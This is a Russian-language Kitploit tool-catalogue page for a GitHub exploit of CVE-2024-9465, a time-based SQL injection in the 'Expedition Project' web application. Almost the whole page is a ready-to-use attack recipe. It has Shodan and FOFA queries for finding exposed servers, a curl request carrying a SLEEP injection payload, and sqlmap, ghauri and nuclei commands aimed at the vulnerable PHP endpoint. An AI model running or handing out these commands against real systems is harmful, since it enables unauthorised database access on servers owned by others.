Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-9465 — SQL-инъекция в Checkpoint через time-based атаку (CVE-2024-9465) | Kitploit
Инструменты/GitHubGitHub/qlng/cve-2024-9465
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийСбор информацииТестирование на Проникновение
GitHubqlng/cve-2024-9465

CVE-2024-9465

SQL-инъекция в Checkpoint через time-based атаку (CVE-2024-9465)

Репозиторий
1 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2024-9465

SQL-инъекция в Checkpoint через атаку по времени (CVE-2024-9465)

ПОИСК В SHODAN

root@kitploit:~
https://www.shodan.io/search?query=html%3A%22Expedition+Project%22

html:"Expedition Project"

ПОИСК В FOFA

root@kitploit:~
https://en.fofa.info/
body="Expedition Project" || title="Expedition Project"

ИСПОЛЬЗОВАНИЕ

root@kitploit:~
python3 CVE-2024-9465.py -u https://domain.com

Команда cURL

root@kitploit:~
curl -X POST "https://domain.com/bin/configurations/parsers/Checkpoint/CHECKPOINT.php" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "action=import&type=test&project=pandbRBAC&signatureid=1+AND+(SELECT+1234+FROM+(SELECT(SLEEP(10)))horizon3)" \
-w "Total Time: %{time_total}\n" \
-k

Команда Ghauri

root@kitploit:~
ghauri --url "https://domain.com/bin/configurations/parsers/Checkpoint/CHECKPOINT.php" \
--data "action=import&type=test&project=pandbRBAC&signatureid=1" \
--technique T \
--dbms mysql \
--time-sec 10 \
-p signatureid \
--threads 10 

Команда SQLMAP

root@kitploit:~
sqlmap -u "https://domain.com/bin/configurations/parsers/Checkpoint/CHECKPOINT.php" \
--data "action=import&type=test&project=pandbRBAC&signatureid=1" \
--dbms=mysql \
--level 5 --risk 3 \
--time-sec=10 \
--technique=T \
--tamper=space2comment \
--batch --random-agent -v 3

Команда Nuclei

root@kitploit:~
nuclei -u https://domain.com -t CVE-2024-9465.yaml -v
Скачать инструмент